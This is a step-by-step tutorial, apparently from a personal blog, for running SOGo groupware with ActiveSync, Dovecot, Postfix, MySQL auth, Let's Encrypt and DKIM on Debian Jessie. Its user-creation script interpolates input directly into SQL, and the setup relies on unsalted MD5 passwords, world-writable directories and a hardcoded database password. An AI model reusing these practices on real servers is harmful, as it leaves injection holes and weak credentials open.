Since the release of Microsoft Outlook 2016, it is possible to connect clients via the ActiveSync protocol, mostly known for its use on mobile devices to synchronize Calender, contacts and e-mail. So the complicated MAPI protocol (i.e. offered by OpenChange project) isn’t necessarily needed anymore.
So my goal was to set up a Linux server that offers ActiveSync protocol interfaces as well as the “classic” IMAP, Caldav and Carddav interfaces for integration with e-mail clients such as Thunderbird. For this SOGo seems to be a very good solution, because it offers you to use the standard Unix daemons in your desired configuration and is just a component that you can easily plug in to offer access to all components with above mentioned protocols which makes the server very easy to maintain without the need to use new, unfamiliar interfaces to manage it like partly with other groupware servers.
So I describe some simple setup for SOGo 2 (because I like its webinterface) on a Debian Jessie Server for handling mail on one domain in the combination Dovecot IMAP server and Postfix MTA. It is a mix of stuff taken from several tutorials available on the Internet.
Installation
1) Install SOGo 2
echo deb http://packages.inverse.ca/SOGo/nightly/2/debian/ jessie jessie >>/etc/apt/sources.list apt-key adv --keyserver keys.gnupg.net --recv-key 0x810273C4 apt-get update apt-get install sogo mysql-server sope4.9-gdl1-mysql memcached
2) Fix some packages
sed -i "s/SHOWWARNING=true/SWOWWARNING=false/" /etc/tmpreaper.conf # suppress tmpreaper warnings sed -i "s/127.0.0.1/localhost/" /etc/memcached.conf # Fix IPv6 errors /etc/init.d/mysql restart /etc/init.d/memcached restart
3) Install MySQL and create user table
Unforutnately, SOGo doesn’t support PAM authentication for whatever reason. The most common solution in the tutorials is to use a LDAP server, which is of course also possible, but for me, it is harder to maintain due to my lack of LDAP-Skills. Therefore I decided to maintain a MySQL user database which will also be used by Dovecot for authentication and which I can add new shell users to with a simple shell script presented lateron. I prefer to have my mailbox users in /etc/passwd with a disabled login shell so that they automatically have a systemwide account, get their e-mails stored and delivered to their home-directories. That’s why I chose this method:
mysql -u root -p mysql
CREATE DATABASE `sogo` CHARACTER SET='utf8';
CREATE USER 'sogo'@'localhost' IDENTIFIED BY 'sogopasswd';
GRANT ALL PRIVILEGES ON `sogo`.* TO 'sogo'@'localhost' WITH GRANT OPTION;
USE sogo;
CREATE TABLE sogo_users (c_uid VARCHAR(60) PRIMARY KEY, c_name VARCHAR(60),
c_password VARCHAR(32), c_cn VARCHAR(128), mail VARCHAR(128),
home VARCHAR(255) NOT NULL, uid INTEGER NOT NULL, gid INTEGER NOT NULL);
FLUSH PRIVILEGES;
quit
4) Install and configure dovecot IMAP-Server
apt-get install dovecot dovecot-sieve dovecot-lmtpd dovecot-managesieved dovecot-sql dovecot-mysql
You can also install dovecot-pop3d if needed.
/etc/dovecot/conf.d/10-auth.conf |
---|
#!include auth-system.conf.ext !include auth-sql.conf.ext |
/etc/dovecot/conf.d/10-mail.conf |
---|
mail_location = maildir:~/Maildir |
/etc/dovecot/conf.d/10-master.conf |
---|
service lmtp { unix_listener /var/spool/postfix/private/dovecot-lmtp { group = postfix mode = 0600 user = postfix } } service auth { unix_listener /var/spool/postfix/private/auth { mode = 0666 user = postfix group = postfix } } |
/etc/dovecot/conf.d/15-lda.conf |
---|
lda_mailbox_autocreate = yes |
/etc/dovecot/conf.d/20-lmtp.conf |
---|
protocol lmtp {
postmaster_address = postmaster@domain.com
mail_plugins = $mail_plugins sieve
}
|
/etc/dovecot/conf.d/20-managesieve.conf |
---|
service managesieve-login { inet_listener sieve { port = 4190 address = 127.0.0.1 } } |
/etc/dovecot/conf.d/auth-sql.conf.ext |
---|
passdb { driver = sql args = /etc/dovecot/dovecot-sql.conf.ext } userdb { driver = prefetch } userdb { driver = sql args = /etc/dovecot/dovecot-sql.conf.ext } |
/etc/dovecot/dovecot-sql.conf.ext |
---|
driver = mysql
connect = host=localhost dbname=sogo user=sogo password=sogopasswd
default_pass_scheme = MD5
user_query = \
SELECT home, uid, gid \
FROM sogo_users WHERE c_uid = '%n'
password_query = \
SELECT c_uid AS user, c_password AS password, \
home AS userdb_home, uid AS userdb_uid, gid AS userdb_gid \
FROM sogo_users WHERE c_uid = '%u'
|
4) Install the Postfix MTA
I assume that you have 2 DNS set up pointing to your mailserver: mail.domain.com and imap.domain.com, this also facilitates automatic mail server detection in most Mail applications.
apt-get install postfix postfix-policyd-spf-python
/etc/postfix/main.cf |
---|
myhostname = mail.domain.com
smtpd_sasl_type = dovecot
smtpd_sasl_path = private/auth
smtpd_sasl_auth_enable = yes
home_mailbox = Maildir/
mailbox_transport = lmtp:unix:private/dovecot-lmtp
# Restrictions
policy-spf_time_limit = 3600s
smtpd_helo_required = yes
smtpd_recipient_restrictions = permit_mynetworks,
permit_sasl_authenticated,
reject_unauth_destination,
reject_unauth_pipelining,
reject_non_fqdn_recipient,
check_policy_service unix:private/policy-spf
smtpd_sender_restrictions = permit_mynetworks,
permit_sasl_authenticated,
reject_unknown_hostname,
reject_unknown_recipient_domain,
reject_unknown_sender_domain
smtpd_client_restrictions = permit_mynetworks,
permit_sasl_authenticated
|
/etc/postfix/master.cf |
---|
# SPF policy-spf unix - n n - - spawn user=nobody argv=/usr/bin/policyd-spf |
5) Install Apache 2 webserver
apt-get install apache2 sogo-activesync a2enmod proxy a2enmod proxy_http a2enmod headers a2enmod rewrite a2enconf SOGo
6) configure Microsoft ActiveSync
Please read here carefully for related documentation.
apt-get install sogo-activesync
Uncomment and modify:
/etc/apache2/conf-available/SOGo.conf |
---|
ProxyPass /Microsoft-Server-ActiveSync \ http://127.0.0.1:20000/SOGo/Microsoft-Server-ActiveSync \ retry=60 connectiontimeout=60 timeout=660 |
7) Install Let’s encrypt SSL-certificates for your site
As self-signed certificates are always needed to be added to a trust list on the client side which makes setup for the user harder and we now have the possibility to get free SSL-certificates by the Let’s encrypt project, it is a good idea to use them instead. The downside of this may be the expiration time (3 months), but as renewal process can be automated with a cron-job, it’s not such a big issue.
/etc/apache2/sites-available/000-default.conf |
---|
ServerAlias mail.domain.com ServerAlias imap.domain.com |
echo "deb http://ftp.debian.org/debian jessie-backports main" >>/etc/apt/sources.list apt-get update apt-get install python-certbot-apache -t jessie-backports letsencrypt --apache -d mail.domain.com -d imap.domain.com
Change TLS parameters in Postfix:
/etc/postfix/main.cf |
---|
smtpd_tls_cert_file=/etc/letsencrypt/live/mail.domain.com/fullchain.pem smtpd_tls_key_file=/etc/letsencrypt/live/mail.domain.com/privkey.pem |
/etc/dovecot/conf.d/10-ssl.conf |
---|
ssl = yes ssl_cert = </etc/letsencrypt/live/imap.domain.com/fullchain.pem ssl_key = </etc/letsencrypt/live/imap.domain.com/privkey.pem |
Now we need to create a renewal-Cronjob for the requested certificates:
/etc/cron.weekly/letsencrypt |
---|
#!/bin/sh letsencrypt renew result=$(find /etc/letsencrypt/live/ -type l -mtime -1 ) if [ -n "$result" ]; then /etc/init.d/apache2 restart /etc/init.d/postfix restart /etc/init.d/dovecot restart fi |
chmod a+x /etc/cron.weekly/letsencrypt
8) Install DKIM
If you want to increase your e-mail reputation, it is a good idea to set up SPF and DKIM records. For DKIM, you can use opendkim daemon. This step is optional and requires full access to your DNS server.
This was shameslessly copied from here
apt-get install opendkim opendkim-tools mkdir /etc/opendkim mkdir /etc/opendkim/keys mkdir /var/spool/postfix/var/run/opendkim
/etc/opendkim.conf |
---|
# OpenDKIM agiert als Mail Filter (= Milter) in den # Modi signer (s) und verifier (v) und verwendet eine # Socket-Datei zur Kommunikation (alternativ: lokaler Port) Mode sv # Socket local:/var/run/opendkim/opendkim.sock # Socket inet:12345@localhost Socket local:/var/spool/postfix/var/run/opendkim/opendkim.sock # OpenDKIM verwendet diesen Benutzer bzw. # diese Gruppe UserID postfix:postfix UMask 002 PidFile /var/run/opendkim/opendkim.pid # OpenDKIM bei Problemen neustarten, # aber max. 10 mal pro Stunde AutoRestart yes AutoRestartRate 10/1h # Logging (wenn alles funktioniert eventuell reduzieren) Syslog yes SyslogSuccess yes LogWhy yes # Verfahren, wie Header und Body durch # OpenDKIM verarbeitet werden sollen. Canonicalization relaxed/simple # interne Mails nicht mit OpenDKIM verarbeiten ExternalIgnoreList refile:/etc/opendkim/trusted InternalHosts refile:/etc/opendkim/trusted # welche Verschlüsselungs-Keys sollen für welche # Domains verwendet werden # (refile: für Dateien mit regulären Ausdrücke) SigningTable refile:/etc/opendkim/signing.table KeyTable /etc/opendkim/key.table # diesen Signatur-Algorithmus verwenden SignatureAlgorithm rsa-sha256 # Always oversign From (sign using actual From and a null From to prevent # malicious signatures header fields (From and/or others) between the signer # and the verifier. From is oversigned by default in the Debian pacakge # because it is often the identity key used by reputation systems and thus # somewhat security sensitive. OversignHeaders From |
/etc/opendkim/trusted |
---|
127.0.0.1 ::1 localhost hostname domain.com |
/etc/opendkim/signing.table |
---|
# for E-Mails from xxx@domain.com use the key 'domain' for signing
*@domain.com domain
|
/etc/opendkim/key.table |
---|
# The key 'domain' is located in /etc/opendkim/keys/domain.private
domain domain.com:201611:/etc/opendkim/keys/domain.private
|
/etc/default/opendkim |
---|
USER=postfix GROUP=postfix |
cd /etc/opendkim opendkim-genkey -d domain.com -b 2048 -r -s 201611 mv 201611.private keys/domain.private mv 201611.txt keys/domain.txt chown -R postfix:postfix /etc/opendkim chmod -R go-rwx /etc/opendkim/keys
/etc/postfix/main.cf |
---|
milter_protocol = 6 milter_default_action = accept smtpd_milters = unix:/var/run/opendkim/opendkim.sock non_smtpd_milters = unix:/var/run/opendkim/opendkim.sock |
Then add the record from /etc/opendkim/keys/domain.txt to your DNS server.
9) Deploy some antivirus and antispam scripts for the MTA
It is a good idea to have some virus filtering and antispam on a Mailserver obiously. Now there are a lot of filtering solutions out there which can accomplish this, but I prefer not to rely on another piece of big software, so I just use a simple shellscript to do some simple mail filtering according to my needs. I’m using Clamav as an antivirus-filter, spamassassin as a spam-filter and some custom .zip file parsing using munpack which certainly can be improved.
apt-get install clamdscan spamassassin clamav-daemon mpack zip mkdir /var/spool/spam chmod 777 /var/spool/spam mkdir /var/spool/virus chmod 777 /var/spool/virus
/etc/spamassassin/local.cf |
---|
rewrite_header Subject *****SPAM*****
report_contact your_email@address.com
|
/etc/default/spamassassin |
---|
ENABLED=1 |
/etc/init.d/spamassassin start mkdir /var/lib/dovecot/sieve chmod 777 /var/lib/dovecot/sieve/
Now we want to move spam into the Junk folder automatically on the server side:
/var/lib/dovecot/sieve/global.sieve |
---|
require "fileinto"; if header :contains "X-Spam-Flag" "YES" { fileinto "Junk"; } |
/etc/dovecot/conf.d/90-sieve.conf |
---|
plugin { sieve_before=/var/lib/dovecot/sieve/global.sieve } |
Now create the mail-scanner script that can be modified according to your needs:
/etc/postfix/mail-scanner.sh |
---|
#!/bin/sh EX_OK=0 EX_BOUNCE=69 EX_DEFER=75 SENDMAIL="/usr/sbin/sendmail -G -i" # prepare for scanning INPUT=`mktemp /tmp/mail-scanner.XXXXXXXX` OUTPUT=`mktemp /tmp/mail-scanner.XXXXXXXX` if [ "$?" != 0 ]; then logger -s -p mail.warning -t scanner "Unable to create temporary files, deferring" exit $EX_DEFER fi trap "rm -f $INPUT $OUTPUT" EXIT TERM cat >$INPUT # check for viruses /usr/bin/clamdscan --quiet - <$INPUT return="$?" if [ "$return" = 1 ]; then TARGET=/var/spool/virus/`basename $INPUT` logger -p mail.info "ClamAV found virus, quarantined as $TARGET" cp $INPUT $TARGET || { echo Cannot copy possible-virus mail; exit $EX_DEFER; }; exit $EX_OK elif [ "$return" != 0 ]; then logger -s -p mail.warning -t scanner "Temporary ClamAV failure $return, deferring" exit $EX_DEFER fi # check for undesired file extensions MTMPDIR=`mktemp -d /tmp/mailattXXXXXXX` BADEXT='[.](bat|cmd|com|cpl|exe|pif|msi|vb|vbs|js|jse|wsf)$' munpack -C $MTMPDIR -q <$INPUT >/dev/null 2>&1 for i in $( ls $MTMPDIR | egrep -i '[.]zip' ) do if [ $( unzip -l "${MTMPDIR}/${i}" | tail -n +4 |head -n -2 | egrep -i "${BADEXT}" | wc -l ) -gt 0 ]; then HASBADEXT=1 break fi done if [ $( ls $MTMPDIR | egrep -i "${BADEXT}" | wc -l ) -gt 0 ]; then HASBADEXT=1 fi rm -r $MTMPDIR if [ "$HASBADEXT" = 1 ]; then TARGET=/var/spool/virus/`basename $INPUT` logger -p mail.info "Found potential virus with suspicious extension, quarantined as $TARGET" cp $INPUT $TARGET || { echo Cannot copy possible-virus mail; exit $EX_DEFER; }; exit $EX_OK fi # check for spam /usr/bin/spamc -E <$INPUT >$OUTPUT return="$?" if [ "$return" = 1 ]; then # Activate this if you want to filter it out instead of just marking und filing into Junk #TARGET=/var/spool/spam/`basename $INPUT` logger -p mail.info "SpamAssassin found spam" #cp $INPUT $TARGET || { echo Cannot copy possible-spam mail; exit $EX_DEFER; }; #exit $EX_OK elif [ "$return" != 0 ]; then logger -s -p mail.warning -t scanner "Temporary SpamAssassin failure $return, delivering" # 1) deliver original mail OUTPUT=$INPUT # 2) or defer instead of delivering: # exit $EX_DEFER fi # deliver $SENDMAIL "$@" <$OUTPUT exit $? |
chmod 755 /etc/postfix/mail-scanner.sh
Now register mail-scanner with postfix by appending content_filter option to smtpd line and adding the filter definition:
/etc/postfix/master.cf |
---|
smtp inet n - n - - smtpd -o content_filter=scanner:dummy scanner unix - n n - 4 pipe flags=Rq user=nobody null_sender= argv=/etc/postfix/mail-scanner.sh -f ${sender} -- ${recipient} |
10) Configure SOGo
/etc/sogo/sogo.conf |
---|
/* Database configuration (mysql:// or postgresql://) */ SOGoProfileURL = "mysql://sogo:sogopasswd@localhost:3306/sogo/sogo_user_profile"; OCSFolderInfoURL = "mysql://sogo:sogopasswd@localhost:3306/sogo/sogo_folder_info"; OCSSessionsFolderURL = "mysql://sogo:sogopasswd@localhost:3306/sogo/sogo_sessions_folder"; /* Mail */ SOGoIMAPServer = localhost; SOGoSieveServer = sieve://127.0.0.1:4190; SOGoSMTPServer = 127.0.0.1; SOGoMailDomain = domain.com; SOGoMailingMechanism = smtp; /* Notifications */ SOGoAppointmentSendEMailNotifications = YES; SOGoACLsSendEMailNotifications = NO; SOGoFoldersSendEMailNotifications = NO; /* Authentication */ SOGoPasswordChangeEnabled = YES; /* SQL authentication example */ /* These database columns MUST be present in the view/table: * c_uid - will be used for authentication - it's the username or username@domain.tld) * c_name - which can be identical to c_uid - will be used to uniquely identify entries * c_password - password of the user, plain-text, md5 or sha encoded for now * c_cn - the user's common name - such as "John Doe" * mail - the user's mail address * See the installation guide for more details */ SOGoUserSources = ( { type = sql; id = users; viewURL = "mysql://sogo:sogopasswd@127.0.0.1:3306/sogo/sogo_users"; canAuthenticate = YES; isAddressBook = YES; displayName = "Benutzer"; userPasswordAlgorithm = md5; } ); /* Web Interface */ SOGoVacationEnabled = YES; SOGoSieveScriptsEnabled = YES; SOGoMailAuxiliaryUserAccountsEnabled = YES; /* General */ SOGoLanguage = German; SOGoTimeZone = Europe/Vienna; SOGoSuperUsernames = (youradminacct); /* Activesync */ SOGoMaximumPingInterval = 300; SOGoMaximumSyncWindowSize = 100; SOGoMaximumSyncResponseSize = 5172; |
If you read the ACtiveSync tuning link, you know that you need to maybe increase the number of active instances for handling requests according to the number of your users by setting PREFORK= value in /etc/default/sogo
Now finally you need to add your admin user you also specified above in SOGoSuperUsernames with SOGo. For every new user, you can add the user like a normal shell user with
adduser [username]
and maybe disable login shell in /etc/passwd. Then use the following script to register your new user with the MySQL DB (reenter user’s password when prompted):
cr_user.sh |
---|
#!/bin/bash
if [ -z $1 ]; then
echo $0 \[Username\]
exit
fi
ID=$1
C_UID=`id -u $ID`
if [ $? -ne 0 ]; then
echo User $ID does not exist
exit
fi
C_GID=`id -g $ID`
C_CN=`getent passwd $ID | cut -d ':' -f 5 | cut -d"," -f1`
C_MAIL=$ID@`cat /etc/mailname`
C_HOME=`eval echo ~$ID`
read -sp "Password: " C_PASSWORD
echo "INSERT INTO sogo_users(c_uid,c_name,c_cn,c_password,mail,home,uid,gid) VALUES
('$ID','$ID','$C_CN',MD5('$C_PASSWORD'),'$C_MAIL','$C_HOME',$C_UID,$C_GID)
ON DUPLICATE KEY UPDATE c_uid='$ID',c_name='$ID',c_cn='$C_CN',c_password=MD5('$C_PASSWORD'),
mail='$C_MAIL',home='$C_HOME',uid=$C_UID,gid=$C_GID;" | mysql -u sogo --password=sogopasswd sogo
|
Finally you can add SOGo backup script to your daily backups (you need to adjust the file):
cp /usr/share/doc/sogo/sogo-backup.sh /usr/sbin/sogo-backup vi /usr/sbin/sogo-backup
Finally restart all the stuff